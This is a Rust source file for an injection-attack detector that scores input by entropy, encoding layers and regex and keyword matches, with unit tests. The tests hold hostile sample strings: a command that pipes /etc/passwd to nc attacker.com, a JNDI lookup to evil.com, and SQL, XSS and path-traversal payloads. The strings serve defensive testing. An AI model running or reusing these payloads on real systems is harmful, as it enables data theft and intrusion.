1use std::collections::HashMap;
2use std::sync::LazyLock;
3
4use regex::Regex;
5
6mod keywords;
7mod patterns;
8
9pub use keywords::AttackKeywords;
10pub use patterns::AttackStructures;
11
12const MAX_CONTENT_LENGTH: usize = 50_000;
13const MAX_TOKENS: usize = 1000;
14const MAX_ENTROPY_LENGTH: usize = 10_000;
15const MAX_SCAN_LENGTH: usize = 10_000;
16
17static INJECTION_KEYWORDS: &[&str] =
18 &["eval", "exec", "compile", "__import__", "globals", "locals"];
19
20static WORD_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"\b\w+\b").expect("static regex"));
22
23static URL_ENC: LazyLock<Regex> =
25 LazyLock::new(|| Regex::new(r"%[0-9a-fA-F]{2}").expect("static regex"));
26static B64_ENC: LazyLock<Regex> =
27 LazyLock::new(|| Regex::new(r"[A-Za-z0-9+/]{4,}={0,2}").expect("static regex"));
28static HEX_ENC: LazyLock<Regex> =
29 LazyLock::new(|| Regex::new(r"(?:0x)?[0-9a-fA-F]{4,}").expect("static regex"));
30static UNICODE_ENC: LazyLock<Regex> =
31 LazyLock::new(|| Regex::new(r"\\u[0-9a-fA-F]{4}").expect("static regex"));
32static HTML_ENT: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"&[#\w]+;").expect("static regex"));
33
34static SQL_STRUCT: LazyLock<Regex> =
36 LazyLock::new(|| Regex::new(r"(?i)\b(?:union|select|from|where)\b").expect("static regex"));
37static XSS_STRUCT: LazyLock<Regex> =
38 LazyLock::new(|| Regex::new(r"<[^>]+>").expect("static regex"));
39static CMD_STRUCT: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[;&|]").expect("static regex"));
40static PATH_STRUCT: LazyLock<Regex> =
41 LazyLock::new(|| Regex::new(r"\.{2,}[/\\]").expect("static regex"));
42
43static SPECIAL_CHAR: LazyLock<Regex> =
45 LazyLock::new(|| Regex::new(r"[^a-zA-Z0-9\s]").expect("static regex"));
46static LONG_RUN: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"\S{100,}").expect("static regex"));
47
48static BRACES: LazyLock<Regex> =
50 LazyLock::new(|| Regex::new(r"[\{\}].*[\{\}]").expect("static regex"));
51static FUNC_CALL: LazyLock<Regex> =
52 LazyLock::new(|| Regex::new(r"\w+\s*\([^)]*\)").expect("static regex"));
53static DOLLAR_VAR: LazyLock<Regex> =
54 LazyLock::new(|| Regex::new(r"[$@]\w+").expect("static regex"));
55static OPERATORS: LazyLock<Regex> =
56 LazyLock::new(|| Regex::new(r"[=+\-*/]{2,}").expect("static regex"));
57static INJECTION_KW_RE: LazyLock<Vec<Regex>> = LazyLock::new(|| {
58 INJECTION_KEYWORDS
59 .iter()
60 .map(|kw| Regex::new(&format!(r"(?i)\b{kw}\b")).expect("static keyword regex"))
61 .collect()
62});
63
64#[derive(Debug, Clone, PartialEq, Eq)]
66pub struct SuspiciousPattern {
67 pub pattern_type: &'static str,
69 pub matched: String,
70 pub position: usize,
76 pub context: String,
79}
80
81#[derive(Debug, Clone, PartialEq)]
83pub struct AnalysisResult {
84 pub attack_probabilities: HashMap<&'static str, f64>,
86 pub entropy: f64,
87 pub encoding_layers: u32,
88 pub is_obfuscated: bool,
89 pub suspicious_patterns: Vec<SuspiciousPattern>,
90 pub code_injection_risk: f64,
91 pub token_count: usize,
92}
93
94#[doc(hidden)]
95pub fn extract_tokens(content: &str, structures: &AttackStructures) -> Vec<String> {
96 let content = if content.len() > MAX_CONTENT_LENGTH {
97 &content[..content.floor_char_boundary(MAX_CONTENT_LENGTH)]
98 } else {
99 content
100 };
101
102 let lower = content.to_lowercase();
103 let mut tokens: Vec<String> = WORD_RE
104 .find_iter(&lower)
105 .take(MAX_TOKENS)
106 .map(|m| m.as_str().to_owned())
107 .collect();
108
109 for re in structures.compiled() {
111 for m in re.find_iter(content).take(10) {
112 tokens.push(m.as_str().to_owned());
113 }
114 }
115
116 tokens.truncate(MAX_TOKENS);
117 tokens
118}
119
120#[must_use]
126pub fn calculate_entropy(content: &str) -> f64 {
127 if content.is_empty() {
128 return 0.0;
129 }
130
131 let content = if content.len() > MAX_ENTROPY_LENGTH {
132 &content[..content.floor_char_boundary(MAX_ENTROPY_LENGTH)]
133 } else {
134 content
135 };
136
137 let mut counts = [0u32; 256];
138 let len = content.len() as f64;
139
140 for byte in content.bytes() {
141 counts[byte as usize] += 1;
142 }
143
144 counts
145 .iter()
146 .filter(|&&c| c > 0)
147 .map(|&c| {
148 let p = f64::from(c) / len;
149 -p * p.log2()
150 })
151 .sum()
152}
153
154#[must_use]
156pub fn detect_encoding_layers(content: &str) -> u32 {
157 let content = if content.len() > MAX_SCAN_LENGTH {
158 &content[..content.floor_char_boundary(MAX_SCAN_LENGTH)]
159 } else {
160 content
161 };
162
163 [&*URL_ENC, &*B64_ENC, &*HEX_ENC, &*UNICODE_ENC, &*HTML_ENT]
164 .iter()
165 .map(|re| u32::from(re.is_match(content)))
166 .sum()
167}
168
169#[doc(hidden)]
170#[must_use]
171pub fn analyze_attack_probability(
172 content: &str,
173 keywords: &AttackKeywords,
174 structures: &AttackStructures,
175) -> HashMap<&'static str, f64> {
176 let tokens = extract_tokens(content, structures);
177 attack_probability_with_tokens(content, &tokens, keywords)
178}
179
180#[must_use]
183pub fn detect_obfuscation(content: &str) -> bool {
184 obfuscation_with_inputs(
185 content,
186 calculate_entropy(content),
187 detect_encoding_layers(content),
188 )
189}
190
191#[doc(hidden)]
192#[must_use]
193pub fn extract_suspicious_patterns(
194 content: &str,
195 structures: &AttackStructures,
196) -> Vec<SuspiciousPattern> {
197 structures
198 .named()
199 .iter()
200 .flat_map(|&(name, ref re)| {
201 let mut byte_cursor = 0usize;
205 let mut char_cursor = 0usize;
206 re.find_iter(content).map(move |m| {
207 char_cursor += content[byte_cursor..m.start()].chars().count();
208 byte_cursor = m.start();
209
210 let ctx_start = content.floor_char_boundary(m.start().saturating_sub(20));
211 let ctx_end = content.ceil_char_boundary(m.end() + 20);
212
213 SuspiciousPattern {
214 pattern_type: name,
215 matched: m.as_str().to_owned(),
216 position: char_cursor,
217 context: content[ctx_start..ctx_end].to_owned(),
218 }
219 })
220 })
221 .collect()
222}
223
224#[doc(hidden)]
225#[must_use]
226pub fn analyze_code_injection_risk(content: &str) -> f64 {
227 let risk = check_code_pattern_risks(content) + check_injection_keywords(content);
228 risk.min(1.0)
229}
230
231#[must_use]
238pub fn analyze(
239 content: &str,
240 keywords: &AttackKeywords,
241 structures: &AttackStructures,
242) -> AnalysisResult {
243 let tokens = extract_tokens(content, structures);
244 let entropy = calculate_entropy(content);
245 let encoding_layers = detect_encoding_layers(content);
246 let token_count = tokens.len();
247
248 AnalysisResult {
249 attack_probabilities: attack_probability_with_tokens(content, &tokens, keywords),
250 entropy,
251 encoding_layers,
252 is_obfuscated: obfuscation_with_inputs(content, entropy, encoding_layers),
253 suspicious_patterns: extract_suspicious_patterns(content, structures),
254 code_injection_risk: analyze_code_injection_risk(content),
255 token_count,
256 }
257}
258
259#[must_use]
265pub fn get_threat_score(result: &AnalysisResult) -> f64 {
266 let mut score = 0.0;
267
268 if !result.attack_probabilities.is_empty() {
269 let max_prob = result
270 .attack_probabilities
271 .values()
272 .copied()
273 .fold(0.0_f64, f64::max);
274 score = max_prob.mul_add(0.3, score);
275 }
276
277 if result.is_obfuscated {
278 score += 0.2;
279 }
280
281 if result.encoding_layers > 0 {
282 score += (f64::from(result.encoding_layers) * 0.1).min(0.2);
283 }
284
285 score = result.code_injection_risk.mul_add(0.2, score);
286
287 if !result.suspicious_patterns.is_empty() {
288 score += (result.suspicious_patterns.len() as f64 * 0.05).min(0.1);
289 }
290
291 score.min(1.0)
292}
293
294fn attack_probability_with_tokens(
296 content: &str,
297 tokens: &[String],
298 keywords: &AttackKeywords,
299) -> HashMap<&'static str, f64> {
300 let token_set: std::collections::HashSet<&str> = tokens.iter().map(String::as_str).collect();
301 let mut probabilities = HashMap::new();
302
303 for (&attack_type, kw_set) in keywords.all() {
304 if kw_set.is_empty() {
305 probabilities.insert(attack_type, 0.0);
306 continue;
307 }
308
309 let matches = token_set.iter().filter(|t| kw_set.contains(**t)).count();
310 let base = matches as f64 / kw_set.len() as f64;
311 let boost = structural_boost(attack_type, content);
312
313 probabilities.insert(attack_type, (base + boost).min(1.0));
314 }
315
316 probabilities
317}
318
319fn obfuscation_with_inputs(content: &str, entropy: f64, encoding_layers: u32) -> bool {
321 entropy > 4.5
322 || encoding_layers > 2
323 || {
324 let special_count = SPECIAL_CHAR.find_iter(content).count();
325 special_count as f64 / content.chars().count().max(1) as f64 > 0.4
326 }
327 || LONG_RUN.is_match(content)
328}
329
330fn structural_boost(attack_type: &str, content: &str) -> f64 {
331 let re = match attack_type {
332 "xss" => &*XSS_STRUCT,
333 "sql" => &*SQL_STRUCT,
334 "command" => &*CMD_STRUCT,
335 "path" => &*PATH_STRUCT,
336 _ => return 0.0,
337 };
338
339 if re.is_match(content) { 0.3 } else { 0.0 }
340}
341
342fn check_code_pattern_risks(content: &str) -> f64 {
343 let mut risk = 0.0;
344
345 if BRACES.is_match(content) {
346 risk += 0.2;
347 }
348 if FUNC_CALL.is_match(content) {
349 risk += 0.2;
350 }
351 if DOLLAR_VAR.is_match(content) {
352 risk += 0.1;
353 }
354 if OPERATORS.is_match(content) {
355 risk += 0.1;
356 }
357
358 risk
359}
360
361fn check_injection_keywords(content: &str) -> f64 {
362 if INJECTION_KW_RE.iter().any(|re| re.is_match(content)) {
363 0.2
364 } else {
365 0.0
366 }
367}
368
369#[cfg(test)]
370mod tests {
371 use super::*;
372
373 fn kw() -> AttackKeywords {
374 AttackKeywords::default()
375 }
376 fn st() -> AttackStructures {
377 AttackStructures::default()
378 }
379
380 #[test]
381 fn entropy() {
382 assert!(calculate_entropy("").abs() < f64::EPSILON);
383 assert!(calculate_entropy(&"abcdefghij".repeat(200)) > 3.0);
384 }
385
386 #[test]
387 fn encoding_layers() {
388 assert!(detect_encoding_layers("%3Cscript%3E") >= 1);
389 assert!(detect_encoding_layers("normal text <script>alert(1)</script>") >= 1);
390 assert!(detect_encoding_layers("%3C < \\u003C 0x3C3C AAAA==") >= 3);
392
393 let content = "%3Cscript%3E<test>\\u0041\\u0042";
395 assert!(detect_encoding_layers(content) > 2);
396 assert!(detect_obfuscation(content));
397
398 let content = format!("{}{}", "normal text ".repeat(1000), "%3Cscript%3E");
400 let _ = detect_encoding_layers(&content);
401 let _ = detect_encoding_layers(&"\u{3042}".repeat(4000));
403 }
404
405 #[test]
406 fn attack_probability_detection() {
407 let probs = analyze_attack_probability("<img src=x onerror=alert(1)>", &kw(), &st());
408 assert!(probs["xss"] > 0.3);
409
410 let probs =
411 analyze_attack_probability("1' OR '1'='1' UNION SELECT * FROM users--", &kw(), &st());
412 assert!(probs["sql"] > 0.3);
413
414 assert!(
416 analyze_attack_probability("SeLeCt * FrOm UsErS UnIoN sElEcT", &kw(), &st())["sql"]
417 > 0.0
418 );
419 assert!(
421 analyze_attack_probability(
422 "test; cat /etc/passwd | nc attacker.com 9999",
423 &kw(),
424 &st()
425 )["command"]
426 > 0.3
427 );
428 assert!(
429 analyze_attack_probability("exec command; cat /etc/passwd | grep root", &kw(), &st())["command"]
430 > 0.3
431 );
432 assert!(analyze_attack_probability("../../etc/passwd", &kw(), &st())["path"] > 0.3);
434 assert!(
436 analyze_attack_probability(
437 "测试 <script>alert('χαίρετε')</script> اختبار",
438 &kw(),
439 &st()
440 )["xss"]
441 > 0.0
442 );
443 }
444
445 #[test]
446 fn obfuscation_detection() {
447 let content: String = (0u32..100)
449 .map(|i| char::from(b'!' + ((i * 7 + 13) % 94) as u8))
450 .collect();
451 assert!(detect_obfuscation(&content));
452
453 assert!(detect_obfuscation(
455 &("!@#$%^&*()_+{}[]|\\:;\"'<>,.?/~`".to_owned().repeat(3) + "normal")
456 ));
457 assert!(detect_obfuscation(&"a".repeat(150)));
459 }
460
461 #[test]
462 fn code_injection_risk() {
463 assert!(analyze_code_injection_risk("{malicious} code {injection}") >= 0.2);
464 assert!(analyze_code_injection_risk("eval(user_input) and exec(command)") >= 0.4);
465 assert!(analyze_code_injection_risk("$variable @another_var ${complex}") >= 0.1);
466 }
467
468 #[test]
469 fn full_analysis_and_threat_score() {
470 let content = "<script>eval('alert(1)')</script> UNION SELECT * FROM users";
471 let result = analyze(content, &kw(), &st());
472 assert!(result.attack_probabilities["xss"] > 0.0);
473 assert!(result.attack_probabilities["sql"] > 0.0);
474 assert!(result.attack_probabilities.contains_key("command"));
475 assert!(result.entropy > 0.0);
476 assert!(result.token_count > 0);
477
478 let score = get_threat_score(&result);
480 assert!((0.0..=1.0).contains(&score));
481
482 let high = AnalysisResult {
484 attack_probabilities: HashMap::from([("xss", 0.8), ("sql", 0.6)]),
485 entropy: 5.0,
486 encoding_layers: 2,
487 is_obfuscated: true,
488 suspicious_patterns: vec![
489 SuspiciousPattern {
490 pattern_type: "tag_like",
491 matched: "<script>".into(),
492 position: 0,
493 context: "<script>".into(),
494 },
495 SuspiciousPattern {
496 pattern_type: "function_call",
497 matched: "alert(1)".into(),
498 position: 8,
499 context: "alert(1)".into(),
500 },
501 ],
502 code_injection_risk: 0.5,
503 token_count: 10,
504 };
505 assert!(get_threat_score(&high) > 0.5);
506
507 let zero = AnalysisResult {
509 attack_probabilities: HashMap::new(),
510 entropy: 0.0,
511 encoding_layers: 0,
512 is_obfuscated: false,
513 suspicious_patterns: vec![],
514 code_injection_risk: 0.0,
515 token_count: 0,
516 };
517 assert!(get_threat_score(&zero).abs() < f64::EPSILON);
518 }
519
520 #[test]
521 fn keywords_initialized() {
522 let keywords = kw();
523 let all = keywords.all();
524 assert!(all["xss"].contains("script"));
525 assert!(all["sql"].contains("select"));
526 assert!(all["command"].contains("exec"));
527
528 for key in ["xss", "sql", "command", "path", "template"] {
529 assert!(all.contains_key(key));
530 }
531 assert!(analyze_attack_probability("test content", &kw(), &st())["template"] < 0.5);
532 }
533
534 #[test]
535 fn extract_tokens_limits() {
536 let tokens = extract_tokens(&"a ".repeat(30000), &st());
537 assert!(tokens.len() <= MAX_TOKENS);
538 }
539
540 #[test]
541 fn suspicious_patterns() {
542 let content = "normal <script>alert(1)</script> text with function() call";
543 let patterns = extract_suspicious_patterns(content, &st());
544 assert!(!patterns.is_empty());
545 assert!(patterns.iter().any(|p| p.pattern_type == "tag_like"));
546 for p in &patterns {
547 assert!(!p.pattern_type.is_empty());
548 assert!(!p.matched.is_empty());
549 assert!(!p.context.is_empty());
550 }
551 }
552
553 #[test]
554 fn template_injection() {
555 let result = analyze(
556 "{{7*7}} ${jndi:ldap://evil.com/a} {%if%}evil{%endif%}",
557 &kw(),
558 &st(),
559 );
560 assert!(!result.suspicious_patterns.is_empty());
561 }
562
563 #[test]
564 fn obfuscated_base64() {
565 let result = analyze("PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==", &kw(), &st());
566 assert!(result.is_obfuscated);
567 assert!(result.encoding_layers > 0);
568 }
569
570 #[test]
571 fn performance_large_input() {
572 let content = format!("{}<script>alert(1)</script>", "normal text ".repeat(10000));
573 let start = std::time::Instant::now();
574 let result = analyze(&content, &kw(), &st());
575 assert!(start.elapsed().as_secs_f64() < 1.0);
576 assert!(result.token_count <= MAX_TOKENS);
577 }
578
579 #[test]
581 fn multibyte_no_panic() {
582 let pad = "\u{1F600}".repeat(8);
583 let content = format!("{pad}<script>alert(1)</script>{pad}");
584 let patterns = extract_suspicious_patterns(&content, &st());
585 for p in &patterns {
586 assert!(content.is_char_boundary(p.position));
587 }
588 assert!(!patterns.is_empty());
589 let result = analyze(&content, &kw(), &st());
590 assert!(result.token_count > 0);
591 }
592
593 #[test]
597 fn suspicious_pattern_positions_are_codepoint_indices() {
598 let content = "测试测试测试测试测试<script>alert(1)</script>";
600 let tag_like: Vec<_> = extract_suspicious_patterns(content, &st())
601 .into_iter()
602 .filter(|p| p.pattern_type == "tag_like")
603 .collect();
604 assert_eq!(tag_like[0].matched, "<script>");
605 assert_eq!(tag_like[0].position, 10);
606 assert_eq!(tag_like[1].matched, "</script>");
607 assert_eq!(tag_like[1].position, 26);
608
609 let content = format!("{}<script>alert(1)</script>", "\u{1F600}".repeat(8));
611 let tag_like: Vec<_> = extract_suspicious_patterns(&content, &st())
612 .into_iter()
613 .filter(|p| p.pattern_type == "tag_like")
614 .collect();
615 assert_eq!(tag_like[0].position, 8);
616 assert_eq!(tag_like[1].position, 24);
617
618 let content = "您好<script>a</script>世界<b>ok</b>";
621 let tag_positions: Vec<_> = extract_suspicious_patterns(content, &st())
622 .into_iter()
623 .filter(|p| p.pattern_type == "tag_like")
624 .map(|p| (p.matched, p.position))
625 .collect();
626 assert_eq!(
627 tag_positions,
628 [
629 ("<script>".to_owned(), 2),
630 ("</script>".to_owned(), 11),
631 ("<b>".to_owned(), 22),
632 ("</b>".to_owned(), 27),
633 ]
634 );
635
636 let content = "alert(1) 测试 мир \u{1F600}";
638 let fc = extract_suspicious_patterns(content, &st())
639 .into_iter()
640 .find(|p| p.pattern_type == "function_call")
641 .expect("function_call match");
642 assert_eq!(fc.matched, "alert(1)");
643 assert_eq!(fc.position, 0);
644
645 let content = "café naïve <img src=x onerror=alert(1)>";
647 let patterns = extract_suspicious_patterns(content, &st());
648 let tag = patterns
649 .iter()
650 .find(|p| p.pattern_type == "tag_like")
651 .expect("tag_like match");
652 assert_eq!(tag.position, 11);
653 let fc = patterns
654 .iter()
655 .find(|p| p.pattern_type == "function_call")
656 .expect("function_call match");
657 assert_eq!(fc.matched, "alert(1)");
658 assert_eq!(fc.position, 30);
659 }
660}
661
662#[cfg(test)]
663mod coverage_tests {
664 use super::*;
665
666 #[test]
667 fn empty_keyword_sets_yield_zero_probabilities() {
668 let keywords = AttackKeywords::default();
669 let tokens: Vec<String> = vec![].into_iter().collect();
671 let probs = attack_probability_with_tokens("content", &tokens, &keywords);
672 assert!(probs.values().all(|v| *v == 0.0));
673 }
674}